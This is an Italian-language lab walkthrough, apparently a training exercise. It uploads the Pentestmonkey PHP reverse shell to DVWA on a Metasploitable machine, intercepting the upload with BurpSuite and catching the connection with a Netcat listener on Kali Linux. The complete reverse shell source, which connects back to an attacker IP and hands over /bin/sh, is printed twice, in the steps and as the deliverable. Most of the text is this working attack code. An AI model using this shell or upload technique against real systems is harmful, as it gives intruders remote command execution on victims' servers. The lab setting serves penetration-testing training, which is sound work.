Configurazione del Laboratorio

Assicurarsi che le macchine Metasploitable e Kali Linux possano comunicare tra loro, come descritto nei passaggi precedenti.

Passaggi per l'Exploit con Shell PHP Avanzata

Passaggio 1: Creazione della Shell PHP Avanzata

Scaricare la reverse shell PHP avanzata di Pentestmonkey. Questa shell è disponibile online e consente di ottenere un accesso più completo alla macchina target.

Ecco il codice della shell PHP di Pentestmonkey:

```
php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1';  // Cambia questo con l'IP di Kali Linux
$port = 1234;      // Cambia questa con la porta su cui Netcat ascolta
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);
    }

    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}
```

```
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
```

```
    if (!$daemon) {
        print "$string\n";
    }
}
?>
```

Passaggio 2: Intercettazione con BurpSuite

1. **Configurare BurpSuite**:
    - Avviare BurpSuite e configurare il browser di Kali Linux per utilizzare il proxy di BurpSuite (generalmente `127.0.0.1:8080`).
    - Attivare l'intercettazione su BurpSuite.
2. **Caricamento del File**:
    - Andare alla scheda "Upload" di DVWA.
    - Caricare il file `reverse_shell.php`.
    - Intercettare la richiesta con BurpSuite, modificare il tipo di contenuto se necessario e inviare la richiesta.

Passaggio 3: Esecuzione della Shell

1. **Accedere alla Shell**:
    - Una volta caricato il file, accedere alla shell tramite il browser visitando: `http://[IP_di_Metasploitable]/dvwa/hackable/uploads/reverse_shell.php`.
    - Configurare un listener su Kali Linux utilizzando Netcat:

      ```
      bash
      nc -lvnp 1234
      ```

    - Quando il file `reverse_shell.php` viene eseguito, Kali Linux dovrebbe ricevere una connessione reverse shell.

Consegna

1. Codice PHP

Il codice della shell PHP avanzata da caricare:

```
php
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.0.1';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
```

```
        exit(1);
    }

    if ($pid) {
        exit(0);
    }

    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise. This is quite common and not
fatal.");
}

chdir("/");
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
```

```
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}
?>
```